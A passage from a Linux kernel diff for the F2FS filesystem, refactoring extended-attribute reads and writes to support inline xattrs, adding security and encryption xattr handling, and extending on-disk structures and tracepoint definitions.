&f2fs_xattr_acl_default_handler, #endif &f2fs_xattr_trusted_handler, +#ifdef CONFIG_F2FS_FS_SECURITY + &f2fs_xattr_security_handler, +#endif &f2fs_xattr_advise_handler, NULL, }; -static inline const struct xattr_handler *f2fs_xattr_handler(int name_index) +static inline const struct xattr_handler *f2fs_xattr_handler(int index) { const struct xattr_handler *handler = NULL; - if (name_index > 0 && name_index < ARRAY_SIZE(f2fs_xattr_handler_map)) - handler = f2fs_xattr_handler_map[name_index]; + if (index > 0 && index < ARRAY_SIZE(f2fs_xattr_handler_map)) + handler = f2fs_xattr_handler_map[index]; return handler; } -int f2fs_getxattr(struct inode *inode, int name_index, const char *name, - void *buffer, size_t buffer_size) +static struct f2fs_xattr_entry *__find_xattr(void *base_addr, int index, + size_t len, const char *name) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - struct f2fs_inode_info *fi = F2FS_I(inode); struct f2fs_xattr_entry *entry; - struct page *page; - void *base_addr; - int error = 0, found = 0; - size_t value_len, name_len; - - if (name == NULL) - return -EINVAL; - name_len = strlen(name); - - if (!fi->i_xattr_nid) - return -ENODATA; - - page = get_node_page(sbi, fi->i_xattr_nid); - base_addr = page_address(page); list_for_each_xattr(entry, base_addr) { - if (entry->e_name_index != name_index) + if (entry->e_name_index != index) continue; - if (entry->e_name_len != name_len) + if (entry->e_name_len != len) continue; - if (!memcmp(entry->e_name, name, name_len)) { - found = 1; + if (!memcmp(entry->e_name, name, len)) break; + } + return entry; +} + +static void *read_all_xattrs(struct inode *inode, struct page *ipage) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct f2fs_xattr_header *header; + size_t size = PAGE_SIZE, inline_size = 0; + void *txattr_addr; + + inline_size = inline_xattr_size(inode); + + txattr_addr = kzalloc(inline_size + size, GFP_F2FS_ZERO); + if (!txattr_addr) + return NULL; + + /* read from inline xattr */ + if (inline_size) { + struct page *page = NULL; + void *inline_addr; + + if (ipage) { + inline_addr = inline_xattr_addr(ipage); + } else { + page = get_node_page(sbi, inode->i_ino); + if (IS_ERR(page)) + goto fail; + inline_addr = inline_xattr_addr(page); + } + memcpy(txattr_addr, inline_addr, inline_size); + f2fs_put_page(page, 1); + } + + /* read from xattr node block */ + if (F2FS_I(inode)->i_xattr_nid) { + struct page *xpage; + void *xattr_addr; + + /* The inode already has an extended attribute block. */ + xpage = get_node_page(sbi, F2FS_I(inode)->i_xattr_nid); + if (IS_ERR(xpage)) + goto fail; + + xattr_addr = page_address(xpage); + memcpy(txattr_addr + inline_size, xattr_addr, PAGE_SIZE); + f2fs_put_page(xpage, 1); + } + + header = XATTR_HDR(txattr_addr); + + /* never been allocated xattrs */ + if (le32_to_cpu(header->h_magic) != F2FS_XATTR_MAGIC) { + header->h_magic = cpu_to_le32(F2FS_XATTR_MAGIC); + header->h_refcount = cpu_to_le32(1); + } + return txattr_addr; +fail: + kzfree(txattr_addr); + return NULL; +} + +static inline int write_all_xattrs(struct inode *inode, __u32 hsize, + void *txattr_addr, struct page *ipage) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + size_t inline_size = 0; + void *xattr_addr; + struct page *xpage; + nid_t new_nid = 0; + int err; + + inline_size = inline_xattr_size(inode); + + if (hsize > inline_size && !F2FS_I(inode)->i_xattr_nid) + if (!alloc_nid(sbi, &new_nid)) + return -ENOSPC; + + /* write to inline xattr */ + if (inline_size) { + struct page *page = NULL; + void *inline_addr; + + if (ipage) { + inline_addr = inline_xattr_addr(ipage); + f2fs_wait_on_page_writeback(ipage, NODE); + } else { + page = get_node_page(sbi, inode->i_ino); + if (IS_ERR(page)) { + alloc_nid_failed(sbi, new_nid); + return PTR_ERR(page); + } + inline_addr = inline_xattr_addr(page); + f2fs_wait_on_page_writeback(page, NODE); + } + memcpy(inline_addr, txattr_addr, inline_size); + f2fs_put_page(page, 1); + + /* no need to use xattr node block */ + if (hsize <= inline_size) { + err = truncate_xattr_node(inode, ipage); + alloc_nid_failed(sbi, new_nid); + return err; + } + } + + /* write to xattr node block */ + if (F2FS_I(inode)->i_xattr_nid) { + xpage = get_node_page(sbi, F2FS_I(inode)->i_xattr_nid); + if (IS_ERR(xpage)) { + alloc_nid_failed(sbi, new_nid); + return PTR_ERR(xpage); } + f2fs_bug_on(sbi, new_nid); + f2fs_wait_on_page_writeback(xpage, NODE); + } else { + struct dnode_of_data dn; + set_new_dnode(&dn, inode, NULL, NULL, new_nid); + xpage = new_node_page(&dn, XATTR_NODE_OFFSET, ipage); + if (IS_ERR(xpage)) { + alloc_nid_failed(sbi, new_nid); + return PTR_ERR(xpage); + } + alloc_nid_done(sbi, new_nid); } - if (!found) { + + xattr_addr = page_address(xpage); + memcpy(xattr_addr, txattr_addr + inline_size, PAGE_SIZE - + sizeof(struct node_footer)); + set_page_dirty(xpage); + f2fs_put_page(xpage, 1); + + /* need to checkpoint during fsync */ + F2FS_I(inode)->xattr_ver = cur_cp_version(F2FS_CKPT(sbi)); + return 0; +} + +int f2fs_getxattr(struct inode *inode, int index, const char *name, + void *buffer, size_t buffer_size, struct page *ipage) +{ + struct f2fs_xattr_entry *entry; + void *base_addr; + int error = 0; + size_t size, len; + + if (name == NULL) + return -EINVAL; + + len = strlen(name); + if (len > F2FS_NAME_LEN) + return -ERANGE; + + base_addr = read_all_xattrs(inode, ipage); + if (!base_addr) + return -ENOMEM; + + entry = __find_xattr(base_addr, index, len, name); + if (IS_XATTR_LAST_ENTRY(entry)) { error = -ENODATA; goto cleanup; } - value_len = le16_to_cpu(entry->e_value_size); + size = le16_to_cpu(entry->e_value_size); - if (buffer && value_len > buffer_size) { + if (buffer && size > buffer_size) { error = -ERANGE; goto cleanup; } if (buffer) { char *pval = entry->e_name + entry->e_name_len; - memcpy(buffer, pval, value_len); + memcpy(buffer, pval, size); } - error = value_len; + error = size; cleanup: - f2fs_put_page(page, 1); + kzfree(base_addr); return error; } ssize_t f2fs_listxattr(struct dentry *dentry, char *buffer, size_t buffer_size) { struct inode *inode = dentry->d_inode; - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - struct f2fs_inode_info *fi = F2FS_I(inode); struct f2fs_xattr_entry *entry; - struct page *page; void *base_addr; int error = 0; size_t rest = buffer_size; - if (!fi->i_xattr_nid) - return 0; - - page = get_node_page(sbi, fi->i_xattr_nid); - base_addr = page_address(page); + base_addr = read_all_xattrs(inode, NULL); + if (!base_addr) + return -ENOMEM; list_for_each_xattr(entry, base_addr) { const struct xattr_handler *handler = @@ -291,119 +474,80 @@ ssize_t f2fs_listxattr(struct dentry *dentry, char *buffer, size_t buffer_size) } error = buffer_size - rest; cleanup: - f2fs_put_page(page, 1); + kzfree(base_addr); return error; } -int f2fs_setxattr(struct inode *inode, int name_index, const char *name, - const void *value, size_t value_len) +static int __f2fs_setxattr(struct inode *inode, int index, + const char *name, const void *value, size_t size, + struct page *ipage, int flags) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); struct f2fs_inode_info *fi = F2FS_I(inode); - struct f2fs_xattr_header *header = NULL; struct f2fs_xattr_entry *here, *last; - struct page *page; void *base_addr; - int error, found, free, newsize; - size_t name_len; - char *pval; - int ilock; + int found, newsize; + size_t len; + __u32 new_hsize; + int error = -ENOMEM; if (name == NULL) return -EINVAL; if (value == NULL) - value_len = 0; + size = 0; - name_len = strlen(name); + len = strlen(name); - if (name_len > F2FS_NAME_LEN || value_len > MAX_VALUE_LEN) + if (len > F2FS_NAME_LEN) return -ERANGE; - f2fs_balance_fs(sbi); - - ilock = mutex_lock_op(sbi); - - if (!fi->i_xattr_nid) { - /* Allocate new attribute block */ - struct dnode_of_data dn; + if (size > MAX_VALUE_LEN(inode)) + return -E2BIG; - if (!alloc_nid(sbi, &fi->i_xattr_nid)) { - error = -ENOSPC; - goto exit; - } - set_new_dnode(&dn, inode, NULL, NULL, fi->i_xattr_nid); - mark_inode_dirty(inode); - - page = new_node_page(&dn, XATTR_NODE_OFFSET); - if (IS_ERR(page)) { - alloc_nid_failed(sbi, fi->i_xattr_nid); - fi->i_xattr_nid = 0; - error = PTR_ERR(page); - goto exit; - } + base_addr = read_all_xattrs(inode, ipage); + if (!base_addr) + goto exit; - alloc_nid_done(sbi, fi->i_xattr_nid); - base_addr = page_address(page); - header = XATTR_HDR(base_addr); - header->h_magic = cpu_to_le32(F2FS_XATTR_MAGIC); - header->h_refcount = cpu_to_le32(1); - } else { - /* The inode already has an extended attribute block. */ - page = get_node_page(sbi, fi->i_xattr_nid); - if (IS_ERR(page)) { - error = PTR_ERR(page); - goto exit; - } - - base_addr = page_address(page); - header = XATTR_HDR(base_addr); - } + /* find entry with wanted name. */ + here = __find_xattr(base_addr, index, len, name); - if (le32_to_cpu(header->h_magic) != F2FS_XATTR_MAGIC) { - error = -EIO; - goto cleanup; - } + found = IS_XATTR_LAST_ENTRY(here) ? 0 : 1; - /* find entry with wanted name. */ - found = 0; - list_for_each_xattr(here, base_addr) { - if (here->e_name_index != name_index) - continue; - if (here->e_name_len != name_len) - continue; - if (!memcmp(here->e_name, name, name_len)) { - found = 1; - break; - } + if ((flags & XATTR_REPLACE) && !found) { + error = -ENODATA; + goto exit; + } else if ((flags & XATTR_CREATE) && found) { + error = -EEXIST; + goto exit; } last = here; - while (!IS_XATTR_LAST_ENTRY(last)) last = XATTR_NEXT_ENTRY(last); - newsize = XATTR_ALIGN(sizeof(struct f2fs_xattr_entry) + - name_len + value_len); + newsize = XATTR_ALIGN(sizeof(struct f2fs_xattr_entry) + len + size); /* 1. Check space */ if (value) { - /* If value is NULL, it is remove operation. - * In case of update operation, we caculate free. + int free; + /* + * If value is NULL, it is remove operation. + * In case of update operation, we calculate free. */ - free = MIN_OFFSET - ((char *)last - (char *)header); + free = MIN_OFFSET(inode) - ((char *)last - (char *)base_addr); if (found) - free = free - ENTRY_SIZE(here); + free = free + ENTRY_SIZE(here); - if (free < newsize) { + if (unlikely(free < newsize)) { error = -ENOSPC; - goto cleanup; + goto exit; } } /* 2. Remove old entry */ if (found) { - /* If entry is found, remove old entry. + /* + * If entry is found, remove old entry. * If not found, remove operation is not needed. */ struct f2fs_xattr_entry *next = XATTR_NEXT_ENTRY(here); @@ -414,34 +558,66 @@ int f2fs_setxattr(struct inode *inode, int name_index, const char *name, memset(last, 0, oldsize); } + new_hsize = (char *)last - (char *)base_addr; + /* 3. Write new entry */ if (value) { - /* Before we come here, old entry is removed. - * We just write new entry. */ + char *pval; + /* + * Before we come here, old entry is removed. + * We just write new entry. + */ memset(last, 0, newsize); - last->e_name_index = name_index; - last->e_name_len = name_len; - memcpy(last->e_name, name, name_len); - pval = last->e_name + name_len; - memcpy(pval, value, value_len); - last->e_value_size = cpu_to_le16(value_len); + last->e_name_index = index; + last->e_name_len = len; + memcpy(last->e_name, name, len); + pval = last->e_name + len; + memcpy(pval, value, size); + last->e_value_size = cpu_to_le16(size); + new_hsize += newsize; } - set_page_dirty(page); - f2fs_put_page(page, 1); + error = write_all_xattrs(inode, new_hsize, base_addr, ipage); + if (error) + goto exit; if (is_inode_flag_set(fi, FI_ACL_MODE)) { inode->i_mode = fi->i_acl_mode; inode->i_ctime = CURRENT_TIME; clear_inode_flag(fi, FI_ACL_MODE); } - update_inode_page(inode); - mutex_unlock_op(sbi, ilock); - - return 0; -cleanup: - f2fs_put_page(page, 1); + if (index == F2FS_XATTR_INDEX_ENCRYPTION && + !strcmp(name, F2FS_XATTR_NAME_ENCRYPTION_CONTEXT)) + f2fs_set_encrypted_inode(inode); + + if (ipage) + update_inode(inode, ipage); + else + update_inode_page(inode); exit: - mutex_unlock_op(sbi, ilock); + kzfree(base_addr); return error; } + +int f2fs_setxattr(struct inode *inode, int index, const char *name, + const void *value, size_t size, + struct page *ipage, int flags) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + int err; + + /* this case is only from init_inode_metadata */ + if (ipage) + return __f2fs_setxattr(inode, index, name, value, + size, ipage, flags); + f2fs_balance_fs(sbi); + + f2fs_lock_op(sbi); + /* protect xattr_ver */ + down_write(&F2FS_I(inode)->i_sem); + err = __f2fs_setxattr(inode, index, name, value, size, ipage, flags); + up_write(&F2FS_I(inode)->i_sem); + f2fs_unlock_op(sbi); + + return err; +} diff --git a/fs/f2fs/xattr.h b/fs/f2fs/xattr.h index 49c9558305e3b..47cf0e58b0e8f 100644 --- a/fs/f2fs/xattr.h +++ b/fs/f2fs/xattr.h @@ -35,6 +35,10 @@ #define F2FS_XATTR_INDEX_LUSTRE 5 #define F2FS_XATTR_INDEX_SECURITY 6 #define F2FS_XATTR_INDEX_ADVISE 7 +/* Should be same as EXT4_XATTR_INDEX_ENCRYPTION */ +#define F2FS_XATTR_INDEX_ENCRYPTION 9 + +#define F2FS_XATTR_NAME_ENCRYPTION_CONTEXT "c" struct f2fs_xattr_header { __le32 h_magic; /* magic number for identification */ @@ -51,7 +55,7 @@ struct f2fs_xattr_entry { #define XATTR_HDR(ptr) ((struct f2fs_xattr_header *)(ptr)) #define XATTR_ENTRY(ptr) ((struct f2fs_xattr_entry *)(ptr)) -#define XATTR_FIRST_ENTRY(ptr) (XATTR_ENTRY(XATTR_HDR(ptr)+1)) +#define XATTR_FIRST_ENTRY(ptr) (XATTR_ENTRY(XATTR_HDR(ptr) + 1)) #define XATTR_ROUND (3) #define XATTR_ALIGN(size) ((size + XATTR_ROUND) & ~XATTR_ROUND) @@ -69,17 +73,16 @@ struct f2fs_xattr_entry { !IS_XATTR_LAST_ENTRY(entry);\ entry = XATTR_NEXT_ENTRY(entry)) +#define MIN_OFFSET(i) XATTR_ALIGN(inline_xattr_size(i) + PAGE_SIZE - \ + sizeof(struct node_footer) - sizeof(__u32)) -#define MIN_OFFSET XATTR_ALIGN(PAGE_SIZE - \ - sizeof(struct node_footer) - \ - sizeof(__u32)) - -#define MAX_VALUE_LEN (MIN_OFFSET - sizeof(struct f2fs_xattr_header) - \ - sizeof(struct f2fs_xattr_entry)) +#define MAX_VALUE_LEN(i) (MIN_OFFSET(i) - \ + sizeof(struct f2fs_xattr_header) - \ + sizeof(struct f2fs_xattr_entry)) /* * On-disk structure of f2fs_xattr - * We use only 1 block for xattr. + * We use inline xattrs space + 1 block for xattr. * * +--------------------+ * | f2fs_xattr_header | @@ -112,26 +115,26 @@ extern const struct xattr_handler f2fs_xattr_trusted_handler; extern const struct xattr_handler f2fs_xattr_acl_access_handler; extern const struct xattr_handler f2fs_xattr_acl_default_handler; extern const struct xattr_handler f2fs_xattr_advise_handler; +extern const struct xattr_handler f2fs_xattr_security_handler; extern const struct xattr_handler *f2fs_xattr_handlers[]; -extern int f2fs_setxattr(struct inode *inode, int name_index, const char *name, - const void *value, size_t value_len); -extern int f2fs_getxattr(struct inode *inode, int name_index, const char *name, - void *buffer, size_t buffer_size); -extern ssize_t f2fs_listxattr(struct dentry *dentry, char *buffer, - size_t buffer_size); - +extern int f2fs_setxattr(struct inode *, int, const char *, + const void *, size_t, struct page *, int); +extern int f2fs_getxattr(struct inode *, int, const char *, void *, + size_t, struct page *); +extern ssize_t f2fs_listxattr(struct dentry *, char *, size_t); #else #define f2fs_xattr_handlers NULL -static inline int f2fs_setxattr(struct inode *inode, int name_index, - const char *name, const void *value, size_t value_len) +static inline int f2fs_setxattr(struct inode *inode, int index, + const char *name, const void *value, size_t size, int flags) { return -EOPNOTSUPP; } -static inline int f2fs_getxattr(struct inode *inode, int name_index, - const char *name, void *buffer, size_t buffer_size) +static inline int f2fs_getxattr(struct inode *inode, int index, + const char *name, void *buffer, + size_t buffer_size, struct page *dpage) { return -EOPNOTSUPP; } @@ -142,4 +145,14 @@ static inline ssize_t f2fs_listxattr(struct dentry *dentry, char *buffer, } #endif +#ifdef CONFIG_F2FS_FS_SECURITY +extern int f2fs_init_security(struct inode *, struct inode *, + const struct qstr *, struct page *); +#else +static inline int f2fs_init_security(struct inode *inode, struct inode *dir, + const struct qstr *qstr, struct page *ipage) +{ + return 0; +} +#endif #endif /* __F2FS_XATTR_H__ */ diff --git a/include/linux/f2fs_fs.h b/include/linux/f2fs_fs.h index df6fab82f87e7..25c6324a0dd04 100644 --- a/include/linux/f2fs_fs.h +++ b/include/linux/f2fs_fs.h @@ -15,20 +15,30 @@ #include #define F2FS_SUPER_OFFSET 1024 /* byte-size offset */ -#define F2FS_LOG_SECTOR_SIZE 9 /* 9 bits for 512 byte */ -#define F2FS_LOG_SECTORS_PER_BLOCK 3 /* 4KB: F2FS_BLKSIZE */ +#define F2FS_MIN_LOG_SECTOR_SIZE 9 /* 9 bits for 512 bytes */ +#define F2FS_MAX_LOG_SECTOR_SIZE 12 /* 12 bits for 4096 bytes */ +#define F2FS_LOG_SECTORS_PER_BLOCK 3 /* log number for sector/blk */ #define F2FS_BLKSIZE 4096 /* support only 4KB block */ +#define F2FS_BLKSIZE_BITS 12 /* bits for F2FS_BLKSIZE */ #define F2FS_MAX_EXTENSION 64 /* # of extension entries */ +#define F2FS_BLK_ALIGN(x) (((x) + F2FS_BLKSIZE - 1) / F2FS_BLKSIZE) -#define NULL_ADDR 0x0U -#define NEW_ADDR -1U +#define NULL_ADDR ((block_t)0) /* used as block_t addresses */ +#define NEW_ADDR ((block_t)-1) /* used as block_t addresses */ + +#define F2FS_BYTES_TO_BLK(bytes) ((bytes) >> F2FS_BLKSIZE_BITS) +#define F2FS_BLK_TO_BYTES(blk) ((blk) << F2FS_BLKSIZE_BITS) + +/* 0, 1(node nid), 2(meta nid) are reserved node id */ +#define F2FS_RESERVED_NODE_NUM 3 #define F2FS_ROOT_INO(sbi) (sbi->root_ino_num) #define F2FS_NODE_INO(sbi) (sbi->node_ino_num) #define F2FS_META_INO(sbi) (sbi->meta_ino_num) /* This flag is used by node and meta inodes, and by recovery */ -#define GFP_F2FS_ZERO (GFP_NOFS | __GFP_ZERO) +#define GFP_F2FS_ZERO (GFP_NOFS | __GFP_ZERO) +#define GFP_F2FS_HIGH_ZERO (GFP_NOFS | __GFP_ZERO | __GFP_HIGHMEM) /* * For further optimization on multi-head logs, on-disk layout supports maximum @@ -40,6 +50,8 @@ #define MAX_ACTIVE_NODE_LOGS 8 #define MAX_ACTIVE_DATA_LOGS 8 +#define VERSION_LEN 256 + /* * For superblock */ @@ -75,16 +87,27 @@ struct f2fs_super_block { __le16 volume_name[512]; /* volume name */ __le32 extension_count; /* # of extensions below */ __u8 extension_list[F2FS_MAX_EXTENSION][8]; /* extension array */ + __le32 cp_payload; + __u8 version[VERSION_LEN]; /* the kernel version */ + __u8 init_version[VERSION_LEN]; /* the initial kernel version */ + __le32 feature; /* defined features */ + __u8 encryption_level; /* versioning level for encryption */ + __u8 encrypt_pw_salt[16]; /* Salt used for string2key algorithm */ + __u8 reserved[871]; /* valid reserved region */ } __packed; /* * For checkpoint */ +#define CP_FASTBOOT_FLAG 0x00000020 +#define CP_FSCK_FLAG 0x00000010 #define CP_ERROR_FLAG 0x00000008 #define CP_COMPACT_SUM_FLAG 0x00000004 #define CP_ORPHAN_PRESENT_FLAG 0x00000002 #define CP_UMOUNT_FLAG 0x00000001 +#define F2FS_CP_PACKS 2 /* # of checkpoint packs */ + struct f2fs_checkpoint { __le64 checkpoint_ver; /* checkpoint block version number */ __le64 user_block_count; /* # of user blocks */ @@ -121,6 +144,9 @@ struct f2fs_checkpoint { */ #define F2FS_ORPHANS_PER_BLOCK 1020 +#define GET_ORPHAN_BLOCKS(n) ((n + F2FS_ORPHANS_PER_BLOCK - 1) / \ + F2FS_ORPHANS_PER_BLOCK) + struct f2fs_orphan_block { __le32 ino[F2FS_ORPHANS_PER_BLOCK]; /* inode numbers */ __le32 reserved; /* reserved */ @@ -135,19 +161,40 @@ struct f2fs_orphan_block { */ struct f2fs_extent { __le32 fofs; /* start file offset of the extent */ - __le32 blk_addr; /* start block address of the extent */ + __le32 blk; /* start block address of the extent */ __le32 len; /* lengh of the extent */ } __packed; #define F2FS_NAME_LEN 255 -#define ADDRS_PER_INODE 923 /* Address Pointers in an Inode */ -#define ADDRS_PER_BLOCK 1018 /* Address Pointers in a Direct Block */ -#define NIDS_PER_BLOCK 1018 /* Node IDs in an Indirect Block */ +#define F2FS_INLINE_XATTR_ADDRS 50 /* 200 bytes for inline xattrs */ +#define DEF_ADDRS_PER_INODE 923 /* Address Pointers in an Inode */ +#define DEF_NIDS_PER_INODE 5 /* Node IDs in an Inode */ +#define ADDRS_PER_INODE(fi) addrs_per_inode(fi) +#define ADDRS_PER_BLOCK 1018 /* Address Pointers in a Direct Block */ +#define NIDS_PER_BLOCK 1018 /* Node IDs in an Indirect Block */ + +#define ADDRS_PER_PAGE(page, fi) \ + (IS_INODE(page) ? ADDRS_PER_INODE(fi) : ADDRS_PER_BLOCK) + +#define NODE_DIR1_BLOCK (DEF_ADDRS_PER_INODE + 1) +#define NODE_DIR2_BLOCK (DEF_ADDRS_PER_INODE + 2) +#define NODE_IND1_BLOCK (DEF_ADDRS_PER_INODE + 3) +#define NODE_IND2_BLOCK (DEF_ADDRS_PER_INODE + 4) +#define NODE_DIND_BLOCK (DEF_ADDRS_PER_INODE + 5) + +#define F2FS_INLINE_XATTR 0x01 /* file inline xattr flag */ +#define F2FS_INLINE_DATA 0x02 /* file inline data flag */ +#define F2FS_INLINE_DENTRY 0x04 /* file inline dentry flag */ +#define F2FS_DATA_EXIST 0x08 /* file inline data exist flag */ +#define F2FS_INLINE_DOTS 0x10 /* file having implicit dot dentries */ + +#define MAX_INLINE_DATA (sizeof(__le32) * (DEF_ADDRS_PER_INODE - \ + F2FS_INLINE_XATTR_ADDRS - 1)) struct f2fs_inode { __le16 i_mode; /* file mode */ __u8 i_advise; /* file hints */ - __u8 i_reserved; /* reserved */ + __u8 i_inline; /* file inline flags */ __le32 i_uid; /* user ID */ __le32 i_gid; /* group ID */ __le32 i_links; /* links count */ @@ -166,13 +213,13 @@ struct f2fs_inode { __le32 i_pino; /* parent inode number */ __le32 i_namelen; /* file name length */ __u8 i_name[F2FS_NAME_LEN]; /* file name for SPOR */ - __u8 i_reserved2; /* for backward compatibility */ + __u8 i_dir_level; /* dentry_level for large dir */ struct f2fs_extent i_ext; /* caching a largest extent */ - __le32 i_addr[ADDRS_PER_INODE]; /* Pointers to data blocks */ + __le32 i_addr[DEF_ADDRS_PER_INODE]; /* Pointers to data blocks */ - __le32 i_nid[5]; /* direct(2), indirect(2), + __le32 i_nid[DEF_NIDS_PER_INODE]; /* direct(2), indirect(2), double_indirect(1) node id */ } __packed; @@ -191,6 +238,8 @@ enum { OFFSET_BIT_SHIFT }; +#define OFFSET_BIT_MASK (0x07) /* (0x01 << OFFSET_BIT_SHIFT) - 1 */ + struct node_footer { __le32 nid; /* node id */ __le32 ino; /* inode nunmber */ @@ -368,12 +417,25 @@ typedef __le32 f2fs_hash_t; #define GET_DENTRY_SLOTS(x) ((x + F2FS_SLOT_LEN - 1) >> F2FS_SLOT_LEN_BITS) -/* the number of dentry in a block */ -#define NR_DENTRY_IN_BLOCK 214 - /* MAX level for dir lookup */ #define MAX_DIR_HASH_DEPTH 63 +/* MAX buckets in one level of dir */ +#define MAX_DIR_BUCKETS (1 << ((MAX_DIR_HASH_DEPTH / 2) - 1)) + +/* + * space utilization of regular dentry and inline dentry + * regular dentry inline dentry + * bitmap 1 * 27 = 27 1 * 23 = 23 + * reserved 1 * 3 = 3 1 * 7 = 7 + * dentry 11 * 214 = 2354 11 * 182 = 2002 + * filename 8 * 214 = 1712 8 * 182 = 1456 + * total 4096 3488 + * + * Note: there are more reserved space in inline dentry than in regular + * dentry, when converting inline dentry we should handle this carefully. + */ +#define NR_DENTRY_IN_BLOCK 214 /* the number of dentry in a block */ #define SIZE_OF_DIR_ENTRY 11 /* by byte */ #define SIZE_OF_DENTRY_BITMAP ((NR_DENTRY_IN_BLOCK + BITS_PER_BYTE - 1) / \ BITS_PER_BYTE) @@ -398,6 +460,24 @@ struct f2fs_dentry_block { __u8 filename[NR_DENTRY_IN_BLOCK][F2FS_SLOT_LEN]; } __packed; +/* for inline dir */ +#define NR_INLINE_DENTRY (MAX_INLINE_DATA * BITS_PER_BYTE / \ + ((SIZE_OF_DIR_ENTRY + F2FS_SLOT_LEN) * \ + BITS_PER_BYTE + 1)) +#define INLINE_DENTRY_BITMAP_SIZE ((NR_INLINE_DENTRY + \ + BITS_PER_BYTE - 1) / BITS_PER_BYTE) +#define INLINE_RESERVED_SIZE (MAX_INLINE_DATA - \ + ((SIZE_OF_DIR_ENTRY + F2FS_SLOT_LEN) * \ + NR_INLINE_DENTRY + INLINE_DENTRY_BITMAP_SIZE)) + +/* inline directory entry structure */ +struct f2fs_inline_dentry { + __u8 dentry_bitmap[INLINE_DENTRY_BITMAP_SIZE]; + __u8 reserved[INLINE_RESERVED_SIZE]; + struct f2fs_dir_entry dentry[NR_INLINE_DENTRY]; + __u8 filename[NR_INLINE_DENTRY][F2FS_SLOT_LEN]; +} __packed; + /* file types used in inode_info->flags */ enum { F2FS_FT_UNKNOWN, diff --git a/include/trace/events/f2fs.h b/include/trace/events/f2fs.h index 52ae54828eda4..18550209f6220 100644 --- a/include/trace/events/f2fs.h +++ b/include/trace/events/f2fs.h @@ -14,17 +14,34 @@ { NODE, "NODE" }, \ { DATA, "DATA" }, \ { META, "META" }, \ - { META_FLUSH, "META_FLUSH" }) - -#define show_bio_type(type) \ - __print_symbolic(type, \ - { READ, "READ" }, \ - { READA, "READAHEAD" }, \ - { READ_SYNC, "READ_SYNC" }, \ - { WRITE, "WRITE" }, \ - { WRITE_SYNC, "WRITE_SYNC" }, \ - { WRITE_FLUSH, "WRITE_FLUSH" }, \ - { WRITE_FUA, "WRITE_FUA" }) + { META_FLUSH, "META_FLUSH" }, \ + { INMEM, "INMEM" }, \ + { INMEM_DROP, "INMEM_DROP" }, \ + { IPU, "IN-PLACE" }, \ + { OPU, "OUT-OF-PLACE" }) + +#define F2FS_BIO_MASK(t) (t & (READA | WRITE_FLUSH_FUA)) +#define F2FS_BIO_EXTRA_MASK(t) (t & (REQ_META | REQ_PRIO)) + +#define show_bio_type(type) show_bio_base(type), show_bio_extra(type) + +#define show_bio_base(type) \ + __print_symbolic(F2FS_BIO_MASK(type), \ + { READ, "READ" }, \ + { READA, "READAHEAD" }, \ + { READ_SYNC, "READ_SYNC" }, \ + { WRITE, "WRITE" }, \ + { WRITE_SYNC, "WRITE_SYNC" }, \ + { WRITE_FLUSH, "WRITE_FLUSH" }, \ + { WRITE_FUA, "WRITE_FUA" }, \ + { WRITE_FLUSH_FUA, "WRITE_FLUSH_FUA" }) + +#define show_bio_extra(type) \ + __print_symbolic(F2FS_BIO_EXTRA_MASK(type), \ + { REQ_META, "(M)" }, \ + { REQ_PRIO, "(P)" }, \ + { REQ_META | REQ_PRIO, "(MP)" }, \ + { 0, " \b" }) #define show_data_type(type) \ __print_symbolic(type, \ @@ -36,6 +53,11 @@ { CURSEG_COLD_NODE, "Cold NODE" }, \ { NO_CHECK_TYPE, "No TYPE" }) +#define show_file_type(type) \ + __print_symbolic(type, \ + { 0, "FILE" }, \ + { 1, "DIR" }) + #define show_gc_type(type) \ __print_symbolic(type, \ { FG_GC, "Foreground GC" }, \ @@ -51,7 +73,16 @@ { GC_GREEDY, "Greedy" }, \ { GC_CB, "Cost-Benefit" }) +#define show_cpreason(type) \ + __print_symbolic(type, \ + { CP_UMOUNT, "Umount" }, \ + { CP_FASTBOOT, "Fastboot" }, \ + { CP_SYNC, "Sync" }, \ + { CP_RECOVERY, "Recovery" }, \ + { CP_DISCARD, "Discard" }) + struct victim_sel_policy; +struct f2fs_map_blocks; DECLARE_EVENT_CLASS(f2fs__inode, @@ -124,14 +155,14 @@ DEFINE_EVENT(f2fs__inode, f2fs_sync_file_enter, TRACE_EVENT(f2fs_sync_file_exit, - TP_PROTO(struct inode *inode, bool need_cp, int datasync, int ret), + TP_PROTO(struct inode *inode, int need_cp, int datasync, int ret), TP_ARGS(inode, need_cp, datasync, ret), TP_STRUCT__entry( __field(dev_t, dev) __field(ino_t, ino) - __field(bool, need_cp) + __field(int, need_cp) __field(int, datasync) __field(int, ret) ), @@ -166,7 +197,7 @@ TRACE_EVENT(f2fs_sync_fs, TP_fast_assign( __entry->dev = sb->s_dev; - __entry->dirty = F2FS_SB(sb)->s_dirty; + __entry->dirty = is_sbi_flag_set(F2FS_SB(sb), SBI_IS_DIRTY); __entry->wait = wait; ), @@ -416,69 +447,64 @@ TRACE_EVENT(f2fs_truncate_partial_nodes, __entry->err) ); -TRACE_EVENT_CONDITION(f2fs_readpage, - - TP_PROTO(struct page *page, sector_t blkaddr, int type), - - TP_ARGS(page, blkaddr, type), +TRACE_EVENT(f2fs_map_blocks, + TP_PROTO(struct inode *inode, struct f2fs_map_blocks *map, int ret), - TP_CONDITION(page->mapping), + TP_ARGS(inode, map, ret), TP_STRUCT__entry( __field(dev_t, dev) __field(ino_t, ino) - __field(pgoff_t, index) - __field(sector_t, blkaddr) - __field(int, type) + __field(block_t, m_lblk) + __field(block_t, m_pblk) + __field(unsigned int, m_len) + __field(int, ret) ), TP_fast_assign( - __entry->dev = page->mapping->host->i_sb->s_dev; - __entry->ino = page->mapping->host->i_ino; - __entry->index = page->index; - __entry->blkaddr = blkaddr; - __entry->type = type; + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->m_lblk = map->m_lblk; + __entry->m_pblk = map->m_pblk; + __entry->m_len = map->m_len; + __entry->ret = ret; ), - TP_printk("dev = (%d,%d), ino = %lu, page_index = 0x%lx, " - "blkaddr = 0x%llx, bio_type = %s", + TP_printk("dev = (%d,%d), ino = %lu, file offset = %llu, " + "start blkaddr = 0x%llx, len = 0x%llx, err = %d", show_dev_ino(__entry), - (unsigned long)__entry->index, - (unsigned long 